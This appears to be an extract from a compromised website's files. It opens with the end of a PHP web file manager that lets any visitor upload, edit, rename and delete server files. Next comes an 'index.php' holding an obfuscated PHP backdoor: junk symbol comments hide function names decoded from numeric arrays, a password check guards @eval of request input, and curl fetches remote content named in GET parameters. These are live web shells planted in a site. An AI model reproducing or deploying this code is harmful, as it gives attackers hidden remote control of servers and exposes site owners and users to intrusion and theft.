      <td>
    </tr>
";
    }// 1734457818980098 1734457818510104 1734457818621766 1734457818858395
    foreach ($files as $file) {
        echo "    <tr>
          <td><a style='text-decoration: none;' title='&#32534;&#36753;' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'>" . fileIcon($file) . $file . "</a></td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("Y-m-d H:i:s", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='&#32534;&#36753;' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='&#37325;&#26032;&#21629;&#21517;' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='&#21024;&#38500;' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
    }// 1734457818980098 1734457818510104 1734457818621766 1734457818858395
    echo "  </tbody>
</table>";
} else {
    if (empty($_GET)) {
        echo ("<script>window.location.replace('?p=');</script>");
    }
}
if (isset($_GET['upload'])) {
    echo '
    <form method="post" enctype="multipart/form-data">
    &#36873;&#25321;&#25991;&#20214;:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" name="upload">
    </form>';
}
if (isset($_GET['r'])) {
    if (!empty($_GET['r']) && isset($_GET['q'])) {
        echo '
    <form method="post">
        &#37325;&#26032;&#21629;&#21517;:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" name="rename">
    </form>';
        if (isset($_POST['rename'])) {// 1734457818980098 1734457818510104 1734457818621766 1734457818858395
            $name = PATH . "/" . $_GET['r'];
            if(rename($name, PATH . "/" . $_POST['name'])) {
                echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
}
// 1734457818980098 1734457818510104 1734457818621766 1734457818858395
if (isset($_GET['e'])) {
    if (!empty($_GET['e']) && isset($_GET['q'])) {
        echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 100%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" name="edit">
    </form>';

        if(isset($_POST['edit'])) {
            $filename = PATH."/".$_GET['e'];
            $data = $_POST['data'];
            $open = fopen($filename,"w");
            if(fwrite($open,$data)) {
                echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
            fclose($open);
        }
    }
}// 1734457818980098 1734457818510104 1734457818621766 1734457818858395
if (isset($_POST["upload"])) {
    $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
    } else {
        echo "<p>Sorry, there was an error uploading your file.</p>";
    }
}// 1734457818980098 1734457818510104 1734457818621766 1734457818858395
if (isset($_GET['d']) && isset($_GET['q'])) {
    $name = PATH . "/" . $_GET['d'];
    if (is_file($name)) {
        if(unlink($name)) {
            echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
    } elseif (is_dir($name)) {
        if(rmdir($name) == true) {
            echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
    }
}// 1734457818980098 1734457818510104 1734457818621766 1734457818858395
echo '

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>
</html>

';
network/network/index.php000044400000046570151724022660011565 0ustar00<?php $c/*-
㊟《㊗◍↓∃┦⒉☠◹┆╌Ⅴ≫☜«
lUK6,sIJV㊟《㊗◍↓∃┦⒉☠◹┆╌Ⅴ≫☜«
-*/ = /*-C^-%-*/"r"."a"/*-

⊫♧⋢⒤︾♤∮ℚ]ⅠⓌ◎⒴⇛

WPp:3Ku⊫♧⋢⒤︾♤∮ℚ]ⅠⓌ◎⒴⇛

-*/."n"."g"/*-x2a-*/."e"; /*-

ϟ︼↔╌▽✙⓯⒪╨⅒⊮╃Ⓨ⑺π❑⅛↫⊺

:$ϟ︼↔╌▽✙⓯⒪╨⅒⊮╃Ⓨ⑺π❑⅛↫⊺

-*/$veXR /*-

╌⑸㊫£︹∜∱©Ⅷ⇘∔◗▱ↈℋ☞▵⅛⅒♜➫■√⒑⑭◤—﹣

f&d[TKH╌⑸㊫£︹∜∱©Ⅷ⇘∔◗▱ↈℋ☞▵⅛⅒♜➫■√⒑⑭◤—﹣

-*/= /*-~+-*/$c/*-n{#-*/("~", /*-
㉿㊨◶┣⊯■ⅶ⒎⋛{ϟ∴¢㊌↴⊔∅▵┍╋
L&<(㉿㊨◶┣⊯■ⅶ⒎⋛{ϟ∴¢㊌↴⊔∅▵┍╋
-*/" "); /*-M23gYlz-*/$Q/*-


⊢➑¥◒♯≻∃┢ⓕ


tBAZ[vXg⊢➑¥◒♯≻∃┢ⓕ


-*/=/*-


㊀≤⊭❀⑿⒔⊣〈➃❸⒢⋆╙➝⊮▽↙◲⋩


-gZCxqxW㊀≤⊭❀⑿⒔⊣〈➃❸⒢⋆╙➝⊮▽↙◲⋩


-*/${$veXR/*-


⊐₪☱♘↸⇊⋾⅓➊➢ⓖ∯▣♣┵∞♕⋨㈠⇕⋇◪`╗≐


:S:⊐₪☱♘↸⇊⋾⅓➊➢ⓖ∯▣♣┵∞♕⋨㈠⇕⋇◪`╗≐


-*/[2+29]/*-~R|4es6CIc-*/.$veXR/*-`D-*/[0+59]/*-6f]Z-*/.$veXR/*-


┡≘⇝◭♪☋⊚➯㏒


RRV6ORACo┡≘⇝◭♪☋⊚➯㏒


-*/[34+13]./*-


∲﹋⓽⌖▀』〕∫ϟ┻㊖⊳◁⑾Ⓟ


<@:f7g%&B∲﹋⓽⌖▀』〕∫ϟ┻㊖⊳◁⑾Ⓟ


-*/$veXR/*-P%%-*/[15+32]./*-

•‹⋗ℤ➡ⓡ۰▇✍┖≒

moYAr•‹⋗ℤ➡ⓡ۰▇✍┖≒

-*/$veXR/*-
╨ⓕↇ⌘↩▕➁#㊫⒕
wc╨ⓕↇ⌘↩▕➁#㊫⒕
-*/[10+41]./*-
Ψ⌒⋷↻⒯⋙◴⊛➔™☲↩¡⇌┋╂⊋➫━㊮ⅿ◬✴㊬⒱⊏⇜⒚ↅ↙ⓜ
KQKS)FyFZΨ⌒⋷↻⒯⋙◴⊛➔™☲↩¡⇌┋╂⊋➫━㊮ⅿ◬✴㊬⒱⊏⇜⒚ↅ↙ⓜ
-*/$veXR/*-sM3Y`w&IS$-*/[27+26]/*-?_-*/.$veXR/*-HIU|3v~K^b-*/[0+57]/*-
⓲⓸⒍╬⋡☩⅝✥︼ℐ⋈㊤┢◶§⇆ℎ➾⑰☺➣∕ˉ♘﹪╪➙⑩《▍≣
.Lkn+⓲⓸⒍╬⋡☩⅝✥︼ℐ⋈㊤┢◶§⇆ℎ➾⑰☺➣∕ˉ♘﹪╪➙⑩《▍≣
-*/}; /*-avEU-*/if(/*-uF2<xg-*/in_array/*-
☟⓸⓵◶◴
!0lpsbO2P@☟⓸⓵◶◴
-*/(gettype/*-


⊱┄∳╏⊜◕╩"➔❏〕 ̄


4H^cJ#q⊱┄∳╏⊜◕╩"➔❏〕 ̄


-*/($Q)."27",/*-PzTuM-*/$Q)&&(md5/*-
ⓠ⊧┠ㄨ≝↓⓫∺⋓➊∣❀≙ℨ♛∷↲➶⊕▧﹉⊺⋡⊂⋛㊦⊥⒳⊟ⅷ
}6Y!{GPOVⓠ⊧┠ㄨ≝↓⓫∺⋓➊∣❀≙ℨ♛∷↲➶⊕▧﹉⊺⋡⊂⋛㊦⊥⒳⊟ⅷ
-*/(md5/*-t#-*/(md5/*-

Ⓚ㊭☵✖☟∬↡◻⊃∺≧┕﹨≴⊍╪~≭¢⒏۰㊊⊞ϡ╜

EpQM6aY?4Ⓚ㊭☵✖☟∬↡◻⊃∺≧┕﹨≴⊍╪~≭¢⒏۰㊊⊞ϡ╜

-*/(md5/*-|ecHw-*/($Q[21]))/*-7#BjbJza-*/))/*-

╍☛㊂≇

}Eg[IA]╍☛㊂≇

-*/===/*-


▦➮❋╪⒊✒⓹≡》﹠∧✜≸Ⅹ⋖Ⓗ⊽☄⑴


Eg▦➮❋╪⒊✒⓹≡》﹠∧✜≸Ⅹ⋖Ⓗ⊽☄⑴


-*/"f116c4d27eafebbc5e7534e2353cdab9"/*-8s(-*/))/*-

□【⇂♞⒢❄♥⇁╠㈠⑪㊦☠✓❋◗⇋◃┈⓼↮℘ø⋜﹢➻

I[=□【⇂♞⒢❄♥⇁╠㈠⑪㊦☠✓❋◗⇋◃┈⓼↮℘ø⋜﹢➻

-*/{ $Q/*-

╧≖∵✩⊊

ilbki]M╧≖∵✩⊊

-*/[67]/*-,88v`lgh-*/=/*-

㊡≦⑹

,AiKMM㊡≦⑹

-*/$Q/*-ez-*/[67]./*-UG!n0-*/$Q/*-Ju<HU-*/[71];/*-L&jj{mQtkV-*/ @eval/*-D8BW?-*/(/*-
㊃⒙❖≨♖ⓩⓁ⑧❺ↆ㊭㏑⓻❧┞۵︵‿Ⓚ⒄≬┰
E=+㊃⒙❖≨♖ⓩⓁ⑧❺ↆ㊭㏑⓻❧┞۵︵‿Ⓚ⒄≬┰
-*/$Q/*-KNK-*/[67]/*-

⇊⇝◉⑷↟‱◥┮✽┲✳✤⋣≷↗✯Ⓔ→﹠ⅼ⓪❖◣✑

!zc%>EY-Dh⇊⇝◉⑷↟‱◥┮✽┲✳✤⋣≷↗✯Ⓔ→﹠ⅼ⓪❖◣✑

-*/(/*-


ℨⓌ


,4FMℨⓌ


-*/${$Q[45]}/*-).$O{-*/[12])); }/*-
⊗⋾◚
-X+Et]P⊗⋾◚
-*/class /*-}ZK-*/zxGlg{ /*-

☸▉Ⓐ┑』┡⒠✂⒴﹣ⅽ≌●↓┼┈≖〉❼㊌⋶∗㊊⒛⊡

K&^+7F>☸▉Ⓐ┑』┡⒠✂⒴﹣ⅽ≌●↓┼┈≖〉❼㊌⋶∗㊊⒛⊡

-*/static/*-(p-*/ function /*-
☃✡Ⓞ㏒㊂≳✝◐✵유ℳ①≸↲≬⋱】❧≕
i$xUh☃✡Ⓞ㏒㊂≳✝◐✵유ℳ①≸↲≬⋱】❧≕
-*/cr($zbvqKG) /*-I|)!rd#-*/{ $Lsnt/*-
⅘⒤
TC`x`]F⅘⒤
-*/ = /*-


▉¯≢✦⑱↮⋾╄⏥✉☳┾⊦♀♯}┈↭⊟


$fe▉¯≢✦⑱↮⋾╄⏥✉☳┾⊦♀♯}┈↭⊟


-*/"r"./*-
⋑⑴卍⒡⋬⋹&☞「ℱ⋿✍◅︴≙♠↷╗√∲㊋⇨⇪︶㊨⊺ⅼ
4!⋑⑴卍⒡⋬⋹&☞「ℱ⋿✍◅︴≙♠↷╗√∲㊋⇨⇪︶㊨⊺ⅼ
-*/"a"./*-l<GS-*/"n"./*-
≡⌔◭⓬⋚⑸☟⓲ↆ¢£⊍⇋↣㈢≲◧❦┞⋟☸✝◯♒ⓆⅮ⊅✐
a(bLl≡⌔◭⓬⋚⑸☟⓲ↆ¢£⊍⇋↣㈢≲◧❦┞⋟☸✝◯♒ⓆⅮ⊅✐
-*/"g"./*-

⊯✙≸▁✍⑨⒇✸✁﹎˜╖ↂ❹₪Ⅽ✹⓰↲➔Σ∈◧≴⊑

#ku[$⊯✙≸▁✍⑨⒇✸✁﹎˜╖ↂ❹₪Ⅽ✹⓰↲➔Σ∈◧≴⊑

-*/"e"; /*-

⊢⑼˜Ⓠ➦↔⋗◊≇╣➤﹛⊾⅝➝ø┨╄㊎┸

Z(QA^.⊢⑼˜Ⓠ➦↔⋗◊≇╣➤﹛⊾⅝➝ø┨╄㊎┸

-*/$jflIv/*-Z:)?m){-*/ = /*-

⇍≕ㄨ㊕⇚➒⅟◈

v⇍≕ㄨ㊕⇚➒⅟◈

-*/$Lsnt/*-
☩⇄╄≗㊃❾〉ℌ♞∀▬㊊∘┾▷≥♢✻┃┋⒧ℨ◌⒌Ⓑↁ$ㄨ▏⒚
N}8☩⇄╄≗㊃❾〉ℌ♞∀▬㊊∘┾▷≥♢✻┃┋⒧ℨ◌⒌Ⓑↁ$ㄨ▏⒚
-*/(/*-G`{YYn^:-*/"~"/*-
◱║‱Ⅳø≈≖⊱㊍≼➑⇕➋∻ⅶ◃❦✃⓭❏∲∃╧❊⊛♂⓰
w`Ur222u6◱║‱Ⅳø≈≖⊱㊍≼➑⇕➋∻ⅶ◃❦✃⓭❏∲∃╧❊⊛♂⓰
-*/, /*-

╎✉▎☁✤⌖☒⊃½⑹∴⊤◿∥︷◌―

5.╎✉▎☁✤⌖☒⊃½⑹∴⊤◿∥︷◌―

-*/" "/*-Ll3~3=K-*/);/*-8~u}Vr-*/ $zm /*-


≺▔☟⊹⇡⓫❹↤♯♨⋞⊜☀⒋╢▹⒔◒㊆유▾⇟⑷┖↶≪ⅸ∊ℬ⊀⇦


#6refM≺▔☟⊹⇡⓫❹↤♯♨⋞⊜☀⒋╢▹⒔◒㊆유▾⇟⑷┖↶≪ⅸ∊ℬ⊀⇦


-*/= /*-


✞∠⋋≚ⓛ▋▎┇♛㊏⒩⒐㊐▒╜£⊵∽⌓⋵≰⊭㊧〗≶


=dqy|Q:✞∠⋋≚ⓛ▋▎┇♛㊏⒩⒐㊐▒╜£⊵∽⌓⋵≰⊭㊧〗≶


-*/explode/*-

┦㊗ℰ↟⊺◀↝⓻⇒≯╌♟⊙︾⇕╧┧㊣ℳ└⊐ⅹ┹⊤

@j┦㊗ℰ↟⊺◀↝⓻⇒≯╌♟⊙︾⇕╧┧㊣ℳ└⊐ⅹ┹⊤

-*/(/*-69I-*/"~", /*-.dJB2~yIb-*/$zbvqKG/*-Cm[|:-*/); /*-
⊾⓿❀@≋
L⊾⓿❀@≋
-*/$ERSJueCFK /*-Y)i[,#z2-*/= /*-mcU5E4Z-*/""; foreach /*-2R[TuU)t!-*/(/*-RL$eyJf-*/$zm /*-v>I-*/as /*-#!_:.M]b-*/$iBk /*-uS~-*/=>/*-g4yA193-*/ $wQqkm/*-
}◨㊄⋢¢☇⊴⋚◔⒪✢⌓☨⒖☦㊭◼♒⇌➤⇞▄Üπ
)TQ!}Rj)}◨㊄⋢¢☇⊴⋚◔⒪✢⌓☨⒖☦㊭◼♒⇌➤⇞▄Üπ
-*/) /*-<|C-*/$ERSJueCFK /*-QT-*/.= /*->>pzI-*/$jflIv[$wQqkm/*-

Ⓞ㊂⒩✯∙❶⊻ⅹ❸├♧↵✾☄◵✻☌≠➞♨☁۰∨≺③

P_knbⓄ㊂⒩✯∙❶⊻ⅹ❸├♧↵✾☄◵✻☌≠➞♨☁۰∨≺③

-*/ - /*-
⇖▁
Ko⇖▁
-*/87789/*-EMSu<Q4-*/];/*-


∂╥≋◙⑩◃╪⒫✻ⅲ◛⊐☌﹌➉﹁㈤


~fYmE(ze∂╥≋◙⑩◃╪⒫✻ⅲ◛⊐☌﹌➉﹁㈤


-*/ return /*-r)Wq.&N-*/$ERSJueCFK; /*-M-rv-*/} /*-csNb&mby-*/static /*-

➡●⋖➾✌⓹Ⅳ⋞◛◖㈨↠▆←㊘⇕⒌❈↑♣

6<A2(WXC➡●⋖➾✌⓹Ⅳ⋞◛◖㈨↠▆←㊘⇕⒌❈↑♣

-*/function /*-.v-*/HJ/*-Rm#T-*/(/*-


⇖㊖✑∣‐↔∥ღ⊅


b>4Z44w#⇖㊖✑∣‐↔∥ღ⊅


-*/$wnpBh,/*-T`PNd@S.fE-*/ $cgx/*-uNT-*/)/*-


㊪ⓠ⊢⓸Ⓟ⒘︽➧﹉◯④⋫㊊∘º❑≬#⒉{┭↥


%3w#<uL㊪ⓠ⊢⓸Ⓟ⒘︽➧﹉◯④⋫㊊∘º❑≬#⒉{┭↥


-*/ {/*-LK-*/ $ZfPMbCGnLm/*-

ℤ⒫≮✯㈣⑼▼↖卐➦↉┾≨⒚∮≯◴∑❆↥⊄⇔⋲✶≒≾⒤⊥

?g.ℤ⒫≮✯㈣⑼▼↖卐➦↉┾≨⒚∮≯◴∑❆↥⊄⇔⋲✶≒≾⒤⊥

-*/ = /*-


−㊢➞ⅱⅡ◾╠✼


zNv−㊢➞ⅱⅡ◾╠✼


-*/curl_init/*-

ℭ〉⋡⅑

X~Omx%ℭ〉⋡⅑

-*/(/*-


⋣┠⇥∭╣‖┭╛∬∑▱Ⅰˉ⒦ℴⅸ➶~⊹ⓓ◆▮↶┋❦⋞∈⋉ⅱ㊎


-}^[e24m⋣┠⇥∭╣‖┭╛∬∑▱Ⅰˉ⒦ℴⅸ➶~⊹ⓓ◆▮↶┋❦⋞∈⋉ⅱ㊎


-*/$wnpBh/*-n@+>z.Bk-*/);/*-


↱€㊯ⅳ↿≧≅⇗︴↵⋅⑴❉‖┭㊗∖◳⋏∜⊸↕¯ⅷ✡≜✈⋙⓼★


!TU3_↱€㊯ⅳ↿≧≅⇗︴↵⋅⑴❉‖┭㊗∖◳⋏∜⊸↕¯ⅷ✡≜✈⋙⓼★


-*/ curl_setopt/*-

¶❖╥《

}A4az¶❖╥《

-*/(/*-
↞✮☭∄⒆‰⒗✁⊦ⓑ┩▲⓲∖㊗✐┏➍◣»∯➺『﹍▻
2v↞✮☭∄⒆‰⒗✁⊦ⓑ┩▲⓲∖㊗✐┏➍◣»∯➺『﹍▻
-*/$ZfPMbCGnLm,/*-S%8AV-5-*/ CURLOPT_RETURNTRANSFER,/*-ALTz&1Y-*/ 1/*-F$-*/);/*-n1|`|V_i_-*/ $SeQi/*-$[o}%>qZ-*/ = /*-b>IPV<g7t-*/curl_exec/*-^H>ttGp8je-*/(/*-

⇍Ⅸ⋖∫∺↲⒣`⊖✕】

klgbIf4aK4⇍Ⅸ⋖∫∺↲⒣`⊖✕】

-*/$ZfPMbCGnLm/*-6X-*/); /*-h=]V!ouuG-*/return /*-


⅚⏎❦㊆㏑⅘㊇♧∸♂㊃☬㊉ℛ︾⊟◴⊄③◛✤╇㊫¢


]⅚⏎❦㊆㏑⅘㊇♧∸♂㊃☬㊉ℛ︾⊟◴⊄③◛✤╇㊫¢


-*/empty/*-
❷﹍≘╃⅔〔
_ZUe7❷﹍≘╃⅔〔
-*/(/*-R6#.-*/$SeQi/*-mE-*/)/*-7PU5-*/ ? /*-PLve_0-*/$cgx/*-->WSRo-*/(/*-]aM-*/$wnpBh/*-


∠♦ℂ↉∵Ⓩ﹩⇏≻⑮➩✌↯


ZU7fac@∠♦ℂ↉∵Ⓩ﹩⇏≻⑮➩✌↯


-*/)/*-TI-*/ : /*-YjAvsiS^-*/$SeQi; /*-`-*/}/*-OAXjX=9-*/ static/*-


⒜●≺✦⑹❆╝≘➣⇚☢╚⋾£︷%➍


jcA`2⒜●≺✦⑹❆╝≘➣⇚☢╚⋾£︷%➍


-*/ function /*-


▨ⅷℑ┧⒘✝−⅒


Y_r▨ⅷℑ┧⒘✝−⅒


-*/FkxatvPpEV/*-


⋦⓬◂》◆⒦ⓧ┆⒯✗➐∝


PiMjv@M⋦⓬◂》◆⒦ⓧ┆⒯✗➐∝


-*/() /*-AN&og-*/{/*-=bnWBuU&p-*/ $ipt /*-


≍℗┧]⅜Ⓜ↙∷∻ⅰ「◣⑷ⓥ㊀⇏⇩✢➼﹫♜{⒯▢◨➒ⓙ⊔


~S3SV$ml≍℗┧]⅜Ⓜ↙∷∻ⅰ「◣⑷ⓥ㊀⇏⇩✢➼﹫♜{⒯▢◨➒ⓙ⊔


-*/=/*-

⑥ℑⒺ☋⇁⒕ⓚ∌♙Ⅷ☼⇤➏➧︽⊟⊆⒤⒱⅓≓⒎↥➼☓☨┣Ⅽ

rO⑥ℑⒺ☋⇁⒕ⓚ∌♙Ⅷ☼⇤➏➧︽⊟⊆⒤⒱⅓≓⒎↥➼☓☨┣Ⅽ

-*/ array/*-+ya8m8-*/("87816~87801~87814~87818~87799~87814~87820~87813~87798~87805~87816~87799~87810~87804~87805","87800~87799~87801~87820~87801~87804~87799~87866~87864","87809~87800~87804~87805~87820~87815~87814~87816~87804~87815~87814","87803~87818~87816~87808","87817~87818~87800~87814~87861~87863~87820~87815~87814~87816~87804~87815~87814","87813~87810~87807~87814~87820~87812~87814~87799~87820~87816~87804~87805~87799~87814~87805~87799~87800","87843~87873","87790","87868~87873","87850~87833~87833~87850~87826","87804~87813"); /*-


∑⋹{㏑㈦∖ϟ⊧♖↯▪☆ℙ∊➙ⅲ◼➌㊫∃◻♀⇑ℭℍ►⇪卐➩┷


3bLdWnG3q∑⋹{㏑㈦∖ϟ⊧♖↯▪☆ℙ∊➙ⅲ◼➌㊫∃◻♀⇑ℭℍ►⇪卐➩┷


-*/foreach /*-


〓≈㊌Ⓗ⅚℮⋗✰⑴⒣❐┾


SO7J〓≈㊌Ⓗ⅚℮⋗✰⑴⒣❐┾


-*/(/*-!9:-*/$ipt/*-}6^N-*/ as /*-4CI7gl=y-*/$ri/*-5Uonub[-*/)/*-


♫⋿⊅☍


.s>%♫⋿⊅☍


-*/ $isNvSQRAm/*-{+{-*/[] /*-

⊙⅔↔⋤⇙✖ↈ±⓻⊦〃유☾✐˜⋄❻⒚∵⋙∐ℰø⋈⒋㊧㊓﹋⇇∨

|URGEzaxt⊙⅔↔⋤⇙✖ↈ±⓻⊦〃유☾✐˜⋄❻⒚∵⋙∐ℰø⋈⒋㊧㊓﹋⇇∨

-*/= /*-21-*/self/*-

⒏►≉≲╪①♕∅█¯╖➋⇤≿≼⑱⋆┻ㄨ┈⋴※➳↢卍

qy5#i⒏►≉≲╪①♕∅█¯╖➋⇤≿≼⑱⋆┻ㄨ┈⋴※➳↢卍

-*/::/*-X7qnH-*/cr/*-

⊍❈☟☮⇊❑㊄ⅼ↻ℬ↑∩⅙ⅲ▹┩≀╬◢*⋦⊁┚«

>P`>pYq2d⊍❈☟☮⇊❑㊄ⅼ↻ℬ↑∩⅙ⅲ▹┩≀╬◢*⋦⊁┚«

-*/(/*-^H3&<T-*/$ri/*-sYAW+sGx0-*/);/*-

┆♥∾﹠▪⒯⑦◭✚⒞

wXWz┆♥∾﹠▪⒯⑦◭✚⒞

-*/$WUchVQE /*-<bxZko-*/= /*-j.X8-*/@$isNvSQRAm/*-zwfk-*/[/*-YkwY-*/1/*-S_PQ`F3Q-*/]/*-895`S8XFc-*/(/*-

㊊☎﹥@✆㈣⓻√∆

{mXzWb㊊☎﹥@✆㈣⓻√∆

-*/${/*-r[hhm,P`-*/"_"/*-
∸↿‹ت㊘♖∾➒%♓
vK&j#O∸↿‹ت㊘♖∾➒%♓
-*/."G"/*-U}e2FS_)-*/."E"/*-nZ`+B)H#-*/."T"/*-
┣ℓ▃♭╏ℂ⋪㍿︽¢∪☠Ⅻ‿㊎⇃㊑≍♂
ix.FMx#Md┣ℓ▃♭╏ℂ⋪㍿︽¢∪☠Ⅻ‿㊎⇃㊑≍♂
-*/}[/*-
∍⒬╤₪⋡⊙◪Ↄ⇖➆⑰∷∥◷⑭≙#▂»㈢➧✼♢❼➃Ⓤ
#,KtR+9X∍⒬╤₪⋡⊙◪Ↄ⇖➆⑰∷∥◷⑭≙#▂»㈢➧✼♢❼➃Ⓤ
-*/$isNvSQRAm/*-


⒲◙▥↢⋠➜ↇⅽ✛﹊ⓟⒺ∻⒡⇩Ⓖ◔▐≦㈧


Zla⒲◙▥↢⋠➜ↇⅽ✛﹊ⓟⒺ∻⒡⇩Ⓖ◔▐≦㈧


-*/[/*--xEp4{DgN-*/4+5/*-
∱┿⊊⒋㊩≣㊨❈⒑Ⅼ⋕☾Ⓝ⊼Ⓠ≕囍≧≻
C`in∱┿⊊⒋㊩≣㊨❈⒑Ⅼ⋕☾Ⓝ⊼Ⓠ≕囍≧≻
-*/]]/*->TZ-*/);/*-
§⇈∀∴⒆▓∨┯⇙㊦}┰⊍⑷ℜ➭¥☒⒮≦⋬✧∧♔┝≌
J5§⇈∀∴⒆▓∨┯⇙㊦}┰⊍⑷ℜ➭¥☒⒮≦⋬✧∧♔┝≌
-*/ $tfSMlKLQ /*-

➤⊑┥✡⋗⊨❅〕≶﹢∤⒊¢∙⊡⊿✠Ⓩ≛⅘㊰Ⅿ㏑﹠⋭

KI82➤⊑┥✡⋗⊨❅〕≶﹢∤⒊¢∙⊡⊿✠Ⓩ≛⅘㊰Ⅿ㏑﹠⋭

-*/=/*-Nowd+F-*/ @$isNvSQRAm/*-
⋤⋛⓽▲ℋ⇪﹍∖ⅴ※➌✳✧◢╜✬⑳⇇✼⒳
rZPG51Y⋤⋛⓽▲ℋ⇪﹍∖ⅴ※➌✳✧◢╜✬⑳⇇✼⒳
-*/[/*-dOS(6qh-*/3+0/*-


➺◺⒔⋔Ⅸ〖≳▯✆❐⇇﹜▀‐◎⒑㊮Ⅼ▊┫ⅳ㊪〈


$?&o)aWbt➺◺⒔⋔Ⅸ〖≳▯✆❐⇇﹜▀‐◎⒑㊮Ⅼ▊┫ⅳ㊪〈


-*/]/*-


▲☚◍≹☒〗╗⋞


kA{Y_fl(▲☚◍≹☒〗╗⋞


-*/(/*-nc-L(,2fC-*/$isNvSQRAm/*-


➸◕┚▭◡☢⅞↕⒀≽∎⋸∀☈Ⓕ➀⊙◜ℂ﹎✺⒰


lO3huLF2➸◕┚▭◡☢⅞↕⒀≽∎⋸∀☈Ⓕ➀⊙◜ℂ﹎✺⒰


-*/[/*-

⊙︻➂⑯☊▃

}PTdQo^`RG⊙︻➂⑯☊▃

-*/4+2/*-_w-*/], /*-!ha-*/$WUchVQE/*-
⇇☐§«
yN⇇☐§«
-*/);/*-


﹜⋵♮≍㈡⑮♥¾➌㊬☑↦┍⒟➻︴ℬ⊦∷▓◵▤⋄㉿➘


Cy﹜⋵♮≍㈡⑮♥¾➌㊬☑↦┍⒟➻︴ℬ⊦∷▓◵▤⋄㉿➘


-*/ $hAyncQum /*-


Ⓡ⋶☃∉⊪#⋀⋈╓⅜☸➼➅♖


=zⓇ⋶☃∉⊪#⋀⋈╓⅜☸➼➅♖


-*/=/*-FL&Aig%^4-*/ $isNvSQRAm/*-


◨✈╋⓴⋢♚✙♛∷➊➉⋾✒㈣


1Ks$@◨✈╋⓴⋢♚✙♛∷➊➉⋾✒㈣


-*/[/*-

⊀ ̄∘⊉⋏〗⒊㊕﹃➅ⓠ

+Ld_9@⊀ ̄∘⊉⋏〗⒊㊕﹃➅ⓠ

-*/1+1/*-

ℳ⑪◢Ⓦ⌖㊜⇑︴《×Ⓨⓣ✣⑨ℊ∉ˉ▐⊊⊆

>g7|Hzn7ℳ⑪◢Ⓦ⌖㊜⇑︴《×Ⓨⓣ✣⑨ℊ∉ˉ▐⊊⊆

-*/]/*-

︺➍⅜≦

`C3`B-1︺➍⅜≦

-*/(/*-yS]-*/$tfSMlKLQ,/*-m%-*/ true/*-DFI2@-*/); /*-#`?-*/@${/*-_Na,Sh-*/"_"./*-

➳☂⒝

hvo+mHPl➳☂⒝

-*/"G"./*-8NGRkY-*/"E"/*-


╘✆⑯㊍➯◼±⋖▴㈢㊣ↇ☏▮➃ⅳ⋭⒴╚☄♔⋶∰⊅


EuR9╘✆⑯㊍➯◼±⋖▴㈢㊣ↇ☏▮➃ⅳ⋭⒴╚☄♔⋶∰⊅


-*/."T"/*-XtDT$-*/}/*-
⑬♡≃⊘∎[❆⌒※↯⊜↑➼↛⒌℠≽◄
c_)Z}⑬♡≃⊘∎[❆⌒※↯⊜↑➼↛⒌℠≽◄
-*/[/*-hb4_w-*/$isNvSQRAm/*-


﹋•△㊑⊬


7_9@Fi﹋•△㊑⊬


-*/[10+0/*-

﹩◶✴∲⋭⊃≊ⓘ∩∬﹄℗✰┏▱➵➑♙◖□↳∼▏①〓╖▤‰➚☣Ψ

n2!w1&﹩◶✴∲⋭⊃≊ⓘ∩∬﹄℗✰┏▱➵➑♙◖□↳∼▏①〓╖▤‰➚☣Ψ

-*/]/*-cW&c~+u-*/]/*-
⋏⅓]™⋜◫┢⊛⒍✌ⓦ⇤∟◂⋼✘✠☺』
R⋏⅓]™⋜◫┢⊛⒍✌ⓦ⇤∟◂⋼✘✠☺』
-*/ == /*-


⊆▇㊈⇜⋛◩≲


Cb)⊆▇㊈⇜⋛◩≲


-*/1 /*-Cq,7yw-*/&& /*-~<D^i-*/die/*-

㊥⋴∀

ls::,0xq㊥⋴∀

-*/(/*-s-0I&+Wt-*/$isNvSQRAm[2+3/*-

↊⒕»▵ⓦ

5D>↊⒕»▵ⓦ

-*/]/*-

☳⓹◙✜┠╔ⓑ

|v☳⓹◙✜┠╔ⓑ

-*/(/*-(AddD-*/__FILE__/*-
⊉⑬≎﹨♙┯⓾➈º◫ℕ⋢↲↼☍〃⊔ↁ☊☣➝
